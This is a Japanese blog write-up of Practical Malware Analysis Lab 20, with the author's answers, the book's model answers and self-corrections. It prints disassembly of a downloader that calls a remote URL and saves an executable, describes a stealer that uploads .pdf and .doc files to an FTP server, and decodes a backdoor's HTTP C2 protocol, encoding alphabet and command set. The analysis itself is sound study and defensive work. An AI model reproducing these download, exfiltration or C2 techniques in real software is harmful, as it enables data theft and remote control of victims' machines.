PracticalMalwareAnalysis-Labs20 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab20のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 20-1

ファイル名ファイルの種類MD5ハッシュ値
Lab20-01.exe32ビット EXEAF748B94356437B111636000698B47CC

1. Dose the function at 0x401040 take any parameters?

サブルーチン0x401040はecx (thisポインタ) に格納されたURLを引数として受け取り、ファイルをダウンロードする。

.text:00401010 89 45 F8                mov     [ebp+var_8], eax
.text:00401013 8B 45 F8                mov     eax, [ebp+var_8]
.text:00401016 89 45 FC                mov     [ebp+var_4], eax
.text:00401019 8B 4D FC                mov     ecx, [ebp+var_4]
.text:0040101C C7 01 30 50 40 00       mov     dword ptr [ecx], offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:00401022 8B 4D FC                mov     ecx, [ebp+var_4]
.text:00401025 E8 16 00 00 00          call    Download_401040

2. Which URL is used in the call to URLDownloadToFile?

http://www.practicalmalwareanalysis.com/cpp.htmlというURLがURLDownloadToFileに渡される。

3. What does this program do?

http://www.practicalmalwareanalysis.com/cpp.htmlからファイルをダウンロードしてc:\tempdownload.exeとして保存する。

.text:00401040                         Download_401040 proc near
.text:00401040
.text:00401040                         var_4= dword ptr -4
.text:00401040
.text:00401040 55                      push    ebp
.text:00401041 8B EC                   mov     ebp, esp
.text:00401043 51                      push    ecx
.text:00401044 89 4D FC                mov     [ebp+var_4], ecx
.text:00401047 6A 00                   push    0               ; LPBINDSTATUSCALLBACK
.text:00401049 6A 00                   push    0               ; DWORD
.text:0040104B 68 64 50 40 00          push    offset aCEmpdownloadEx ; "c:\tempdownload.exe"
.text:00401050 8B 45 FC                mov     eax, [ebp+var_4]
.text:00401053 8B 08                   mov     ecx, [eax]
.text:00401055 51                      push    ecx             ; LPCSTR
.text:00401056 6A 00                   push    0               ; LPUNKNOWN
.text:00401058 E8 05 00 00 00          call    URLDownloadToFileA
.text:0040105D 8B E5                   mov     esp, ebp
.text:0040105F 5D                      pop     ebp
.text:00401060 C3                      retn
.text:00401060                         Download_401040 endp

Lab 20-2

ファイル名ファイルの種類MD5ハッシュ値
Lab20-02.exe32ビット EXEC277798EB447730580AD21EA647B9D36

1. What can you learn from the interesting strings in this program?

以下の文字列が目を引いた。

00007030  .pdf
00007038  .doc
0000704C  %s-%d.pdf
00007058  pdfs
00007060  ftp.practicalmalwarenalaysis.com
00007084  Home ftp client
00007094  %s-%d.doc
000070A0  docs
000070A8  C:\*

上記より、このプログラムはドメインftp.practicalmalwarenalaysis.comとFTP通信を行うものと推察できる。

2. What do the imports tell you about this program?

以下のインポート関数が目を引いた。

  • FindFirstFileA
  • FindNextFileA
  • FtpPutFileA
  • FtpSetCurrentDirectoryA
  • InternetConnectA
  • InternetOpenA

上記より、このプログラムはファイルシステム上のファイルやディレクトリを列挙して、外部のFTPサーバーにアップロードするものと推察できる。

3. What is the purpose of the object created at 0x4011D9? Does it have any virtual functions?

アドレス0x4011D9ではコンストラクタが生成されている。コンストラクタはオブジェクトの初期化を行う。

このオブジェクトには以下の3つの仮想関数が定義されている。

4. Which functions could possibly be called by call [edx] instructions at 0x401349?

call [edx] によって呼び出される可能性のある関数は以下の通り。

  • サブルーチン0x401440
  • サブルーチン0x401380
  • サブルーチン0x401370

5. How could you easily set up the server that this malware expects in order to fully analyze the malware without connecting to the Internet?

FakeNet-NGを起動してLab20-02.exeを実行したところ、FTPのアップロード通信をキャプチャできた。

6. What is the purpose of this program?

Lab20-02.exeはファイルシステム上のファイルやディレクトリを列挙して、拡張子が.pdfまたは.docのファイルを発見した場合は外部のFTPサーバー ftp.practicalmalwarenalaysis.com へアップロードする。

ファイルをアップロードする際は以下のファイル名が使用される。

  • <ローカル・コンピュータ名>-<番号>.pdf
  • <ローカル・コンピュータ名>-<番号>.doc

例えば、自分の解析用マシンのuser-PCで1つ目の.pdfファイルを見つけた場合はuser-PC-1.pdfとしてアップロードし、2つ目の.pdfファイルを見つけた場合はuser-PC-2.pdfとしてアップロードする。

以下、詳細な解析。

Lab20-02.exeは、冒頭でgethostnameを呼び出し、ローカル・コンピュータ名を取得する。

取得したローカル・コンピュータ名は、.pdfファイルや.docファイルをアップロードする際にファイル名として利用される。以下はC:\metasploit-framework\embedded\framework\data\exploits\CVE-2018-9948\template.pdfというPDFファイルがuser-PC-3.pdfとしてFTPサーバーにアップロードされる様子である。

Lab20-02.exeには3つの仮想関数が実装されている。

1つ目の仮想関数はサブルーチン0x401370である。

この関数は列挙されたファイルを変数に格納する。

格納されたファイルが.pdfファイルだった場合は、仮想関数0x401380によってファイルがFTPサーバーにアップロードされる。詳しくは後述。

格納されたファイルが.docファイルだった場合は、仮想関数0x401440によってファイルがFTPサーバーにアップロードされる。詳しくは後述。

2つ目の仮想関数はサブルーチン0x401380である。

この関数はシステム上で見つかった.pdfファイルをFTPサーバー ftp.practicalmalwarenalaysis.compdfsというディレクトリにアップロードする。

3つ目の仮想関数はサブルーチン0x401440である。

この関数はシステム上で見つかった.docファイルをFTPサーバー ftp.practicalmalwarenalaysis.comdocsというディレクトリにアップロードする。

Lab20-02.exeは.pdfファイルと.docファイルのみをアップロードの対象としている。以下はLab20-02.exeから生成されたFTPのアップロード通信のPCAPから、アップロードされたファイル名を抽出したものである。.docファイルと.pdfファイルのみがアップロードされているのが分かる。

$ tshark -r $PCAP -Y "ftp.request.command == STOR" -T fields -e ftp.request.arg | sort -u
user-PC-1.doc
user-PC-10.pdf
user-PC-11.pdf
user-PC-2.pdf
user-PC-3.pdf
user-PC-4.pdf
user-PC-5.pdf
user-PC-6.pdf
user-PC-7.pdf
user-PC-8.pdf
user-PC-9.pdf

7. What is the purpose of implementing a virtual function call in this program?

将来的に.pdfと.doc以外のファイルもアップロードの対象としたい場合、最小限のコード変更で実装できるため。

Lab 20-3

ファイル名ファイルの種類MD5ハッシュ値
Lab20-03.exe32ビット EXE30C7CED0561A50588349D2A73DC700A4
config.dat不明22A3B25A0BCF1909212B4D5062AF2468

1. What can you learn from the interesting strings in this program?

ファイルをstringsにかけたところ、以下の文字列が目を引いた。

000130C8  PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilop
00013100  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
00013140  .?AVexception@@
00013158  .?AVruntime_error@std@@
00013178  .?AUB64Error@@
00013190  .?AUB64EncodeError@@
000131A8  Encoding Args Error
000131BC  /srv.html
000131C8  /put.html
000131D4  /get.html
000131E0  /response.html
000131F0  /info.html
000131FC  /index.html
00013210  .?AUBackdoorClientParentError@@
00013238  .?AUBackdoorClientError@@
00013254  Beacon response Error
0001326C  Caught exception during pollstatus: %s
00013294  Polling error
000132A4  %s?id=%s
000132B8  .?AUCmdParseError@@
000132CC  Arg parsing error
000132E0  %s %s "%s"
000132F0  Error uploading file
00013308  Error downloading file
00013320  user=%s, host=%s, Major Version=%d, Minor Version=%d, Locale=%d
00013364  Error conducting machine survey
00013384  Create Process Failed
0001339C  ;computer=
000133A8  volsn=
000133B0  victim;
000133B8  Failed to gather victim information
000133E8  .?AUReadConfigError@@
00013400  Config error
00013410  config.dat
00013428  .?AUMaskConfigError@@
00013440  Caught exception in main: %s
00013470  .?AUConnectError@@
00013490  .?AUNetworkError@@
000134B0  .?AUSocketError@@
000134C4  Socket Connection Error
000134DC  Internet Explorer 10.0
00013500  .?AUResolveHostError@@
00013518  Host lookup failed.
00013538  .?AUSendError@@
00013550  .?AUNotConnectedError@@
00013568  Send Data Error
00013580  .?AUHttpResponseError@@
00013598  Error reading response
000135B0  Content-Length: 
000135C4  Error reading response
000135DC  HTTP/
000135F0  .?AUGetError@@
00013600  Error sending Http get
00013618  GET %s HTTP/1.1
00013629  HOST: %s
00013633  User-Agent: %s
00013643  Accept: text/html
00013656  Accept-Language: en-uk,en
00013671  Accept-Charset: utf-8
00013688  Connection: close
000136A0  data=
000136B0  .?AUPostError@@
000136C0  POST %s HTTP/1.1
000136D2  HOST: %s
000136DC  User-Agent: %s
000136EC  Content-Length: %d
00013700  Content-Type: application/x-www-form-urlencoded
00013734  Error sending Http post
00013758  .?AUWsaStartupError@@
00013770  Failed to initialize WSA

上記の文字列より、以下の挙動・機能が推察される。

  • 何らかのエンコード・デコードを行う。(換字表: PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilop)
  • HTTPを介して遠隔のサーバーと定常通信 (beacon)を行う。
  • ファイルのアップロードおよびダウンロードを行う。
  • config.datを設定ファイルとして読み込む。
  • インストール先のコンピュータのシステム情報を収集する。

.?AUBackdoorClientParentError@@.?AUBackdoorClientError@@からLab20-03.exeはバックドア・プログラムであると推察できる。

2. What do the imports tell you about this program?

以下のインポート関数が目を引いた。

  • CreateProcessA
  • GetComputerNameA
  • GetUserNameA
  • GetVersion
  • GetVersionExA
  • CreateFileA
  • ReadFile
  • WriteFile
  • closesocket
  • connect
  • gethostbyname
  • htons
  • inet_addr
  • recv
  • send
  • socket

上記のインポート関数より、以下の挙動・機能が推察される。

  • プロセスの生成。
  • インストール先のコンピュータ名、ユーザー名、OSのバージョン情報を収集する。
  • ファイルの作成、読み取り、書き込みを行う。
  • ソケットを生成して、遠隔のサーバーとネットワークを介してデータの送受信を行う。

3. The function 0x4036F0 is called multiple times and each time it takes the string Config error, followed a few instructions later by a call to CxxThrowException. Does the function take any parameters other than the string? Does the function return anything? What can you tell about this function from the context in which it's used?

サブルーチン0x4036F0は引数をひとつだけ受け取るように設計されており、毎回、Config errorという文字列が引数として渡されている。それ以外の値が引数に渡されている様子はない。

サブルーチン0x4036F0は処理の終盤にヒープ解放のための仮想関数をeaxに格納する。

よって、サブルーチン0x4036F0は作成されたオブジェクトを破棄するための関数であると思われる。

4. What do the six entries in the switch table at 0x4025C8 do?

アドレス0x4025C8には以下の6つの処理が存在する。

  • loc_402561
  • loc_402531
  • loc_402559
  • loc_40253B
  • loc_402545
  • loc_40254F

以下、各処理の解説。

loc_402561

特に何もしない。

loc_402531

任意の時間スリープする。

loc_402559

任意のプロセスを生成する。

loc_40253B

C2サーバーからファイルをダウンロードする。C2サーバーからの応答データはエンコードが施されている。(サブルーチン0x4015C0はカスタムの換字表PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilopを用いて応答データをデコードする。)

loc_402545

C2サーバーへファイルをアップロードする。

ファイルのデータはHTTPのPOSTリクエストを介してサーバーにアップロードされる。アップロードの際は換字表PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilopを元にデータをエンコードする。(サブルーチン0x401080にてデータのエンコードが行われる。)

loc_40254F

インストール先のコンピュータのシステム情報を収集し、HTTPのPOSTリクエストを介して収集した情報をサーバーに通知する。通知の際は換字表PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilopを元にデータをエンコードする。(サブルーチン0x401080にてデータのエンコードが行われる。)

収集される情報は以下の通り。

  • ユーザー名
  • コンピュータ名
  • OSのバージョン
  • ロケール (言語設定) 情報

5. What is the purpose of this program?

Lab20-03.exeはHTTPを介してC2サーバーと通信するバックドア・プログラムである。

C2サーバーのホスト名はconfig.datという設定ファイルから読み込まれる。config.datはXORエンコードされており、鍵0x4eを用いてデコードすると127.0.0.1というIPアドレスが現れる。

また、この時、以下のURLパスがセットアップされる。

  • /index.html
  • /info.html
  • /response.html
  • /get.html
  • /put.html
  • /srv.html

config.datからC2サーバーの情報が読み込まれると、システム情報が収集され、エンコードを施された上でHTTPのPOSTリクエストを介して、C2サーバーに送信される。

以下はLab20-03.exeを実行した際に生成されたHTTPのPOSTリクエストの通信である。

POST /index.html HTTP/1.1
HOST: 127.0.0.1
User-Agent: Internet Explorer 10.0
Content-Length: 38
Content-Type: application/x-www-form-urlencoded

data=keqjeb;ktrmg=,.e;qtbnujsy=EDKR-FM

POSTのボディ部分が一部、換字表PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilopを用いてエンコードされている。

エンコード処理はサブルーチン0x401080にて行われる。

以下はエンコード前のPOSTのボディ部分。

以下はエンコード後のPOSTのボディ部分。

keqjebvictimとなる。

echo keqjeb | tr 'PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilop' 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
victim

ktrmgvolsnとなる。

echo ktrmg | tr 'PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilop' 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
volsn

qtbnujsycomputerとなる。

echo qtbnujsy | tr 'PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilop' 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
computer

EDKR-FMUSER-PCとなる。(USER-PCは自分の解析マシンのコンピュータ名)

echo EDKR-FM | tr 'PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilop' 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
USER-PC

よってPOSTのボディ部分は以下のようにデコードされる。

data=victim;volsn=,.e;computer=USER-PC

POSTリクエストの送信が完了すると、C2サーバーからエンコードされたデータが送られる。応答データはサブルーチン0x4015C0にてデコードされる。エンコード時と同様に換字表PLMOKNIJBUHVYGTFCRDXESZWAQzaqxswcdevfrbgtnhymjukilopがデコードに用いられる。

バックドアは、応答データのデコード結果の先頭8バイトがICOTDGSAという文字列と一致するか確認し、一致しない場合は処理を終了する。

一致した場合、バックドアは応答データの中から次に通信するべきC2サーバーのドメイン名を抽出する。

ドメイン名を抽出できたら、/info.html?id=%sというURLパスへHTTPのGETリクエストを送信する。id=以降にどのようなデータが付与されるのかは分からなかった。

C2サーバへのHTTPのGETリクエストが完了すると、C2サーバーからエンコードされたデータが送られる。バックドアは応答データをデコードし、デコード結果に応じて以下の挙動をとる。

  • 応答データが0だった場合、何もしない。
  • 応答データが1だった場合、任意の時間スリープする。
  • 応答データが2だった場合、任意のプロセスを生成する。
  • 応答データが3だった場合、C2サーバーからファイルをダウンロードする。この時の通信先のURLパスは/get.htmlと思われる。
  • 応答データが4だった場合、C2サーバーへファイルをアップロードする。この時の通信先のURLパスは/put.htmlと思われる。
  • 応答データが5だった場合、インストール先のコンピュータのシステム情報を収集し、C2サーバーに通知する。この時の通信先のURLパスは/srv.htmlと思われる。

各処理の詳細については先述した問4の回答を参照。

模範解答

Lab 20-1

1. The function at 0x401040 does not take any parameters, but it is passed a reference to an object in ECX that represents the this pointer.

2. The call to URLDownloadToFile uses http://www.practicalmalwareanalysis.com/cpp.html as the URL.

3. This program downloads a file from a remote server and stores it as c:\tempdownload.exe on the local system.

Lab 20-2

1. The most interesting strings are ftp.practicalmalwareanalysis.com and Home ftp client, which indicate that this program may be FTP client software.

2. The imports FindFirstFile and FindNextFile indicate that the program probably searches through the victim's filesystem. The imports InternetOpen, InternetConnect, FtpSetCurrentDirectory, and FtpPutFile tell us that this malware may upload files from the victim machine to a remote FTP server.

3. The object created at 0x004011D9 represents a .doc file. It has one virtual function at offset 0x00401440, which uploads the file to a remote FTP server.

4. The virtual function call at 0x00401349 will call one of the virtual functions at 0x00401380, 0x00401440, or 0x00401370.

5. This malware connects to a remote FTP server using high-level API functions. We could download and set up a local FTP server, and redirect DNS requests to that server in order to fully exercise this malware.

6. This program searches the victim's hard drive and uploads all the files with a .doc or .pdf extension to a remote FTP server.

7. The purpose of implementing a virtual function call is to allow the code to execute different upload functions for different file types.

Lab 20-3

1. Several strings that look like error messages (Error sending Http post, Error sending Http get, Error reading response, and so on) tell us that this program will be using HTTP GET and POST commands. We also see HTML path (/srv.html, /put.html, and so on), which hint at the files that this malware will attempt to open.

2. Several WS2_32 imports tell us that this program will be communicating over the network. An import to CreateProcess suggest that this program may launch another process.

3. The function called at 0x4036F0 does not take any parameters other the string, but ECX contains the this pointer for the object. We know the object that contains the function is an exception object because that object is later used as a parameter to the CxxThrowException functions. We can tell from the context that the function at 0x4036F0 initializes an exception object, which stores a string that describes what caused the exception.

4. The six entries of the switch table implement six different backdoor commands: NOOP, sleep, execute a program, download a file, upload a file, and survey the victim.

5. The program implements a backdoor that uses HTTP as the command channel and has the ability to launch programs, download or upload a file, and collect information about the victim machine.

答え合わせ

Lab 20-1

サブルーチン0x401040は厳密にはURLを引数として受け取るのではない。URLはオブジェクトとしてECX (thisポインタ)に格納され、サブルーチン0x401040はthisポインタにアクセスすることでURLを取得する。

Lab 20-2

アドレス0x4011Dで生成されているのはコンストラクタではなく、.docファイルのオブジェクトである。

Lab 20-3

サブルーチン0x4036F0は作成されたオブジェクトを破棄するための関数ではなく、例外を生成するための関数である。生成された例外は直後にCxxThrowExceptionに渡される。

問5にて、バックドアはC2サーバーからの応答データ 0~5 に応じて処理を実行すると回答したが、これは誤りである。正しくは、バックドアはC2サーバーからの応答データ a~f に応じて処理を実行する。

以下はC2サーバーからの応答データを元にバックドアが処理を実行する際のswitch文のコードである。

上記によると、eaxに0x0FFFFFF9Fを加算して、結果が5以下の場合にeaxの値をインデックスとしてオフセット0x4025C8に格納されている処理を実行する。

IDAで0FFFFFF9Fhを選択して、_ (アンダースコア)キーを押すか、右クリックして、_ を選択すると、0FFFFFF9Fh-61hという値に切り替わる。

これにより、上記のコードはeax+0x0FFFFFF9Fという加算式ではなく、eax+(-0x61) つまり eax-0x61という減算式であることが判明した。

よってeaxから0x61を減算した時の差が5以下の場合にeaxの値をインデックスとしてオフセット0x4025C8に格納されている処理を実行することになる。
そのため、有効な応答データは0x610x620x630x640x650x66のいずれかとなる。これらの値はそれぞれアルファベットのabcdefに読み替えることができる。

以下は問5の修正後の回答である。

  • 応答データがaだった場合、何もしない。
  • 応答データがbだった場合、任意の時間スリープする。
  • 応答データがcだった場合、任意のプロセスを生成する。
  • 応答データがdだった場合、C2サーバーからファイルをダウンロードする。この時の通信先のURLパスは/get.htmlと思われる。
  • 応答データがeだった場合、C2サーバーへファイルをアップロードする。この時の通信先のURLパスは/put.htmlと思われる。
  • 応答データがfだった場合、インストール先のコンピュータのシステム情報を収集し、C2サーバーに通知する。この時の通信先のURLパスは/srv.htmlと思われる。

Lab 6-3の問4でもswitch文の分岐の条件を読み違えていたので、気をつけたい。

ちなみに模範解答はデータのエンコーディングやデコーディングについては触れておらず、また各C2 URLパスの用途についても触れていなかった。

Leave a Reply

Your email address will not be published. Required fields are marked *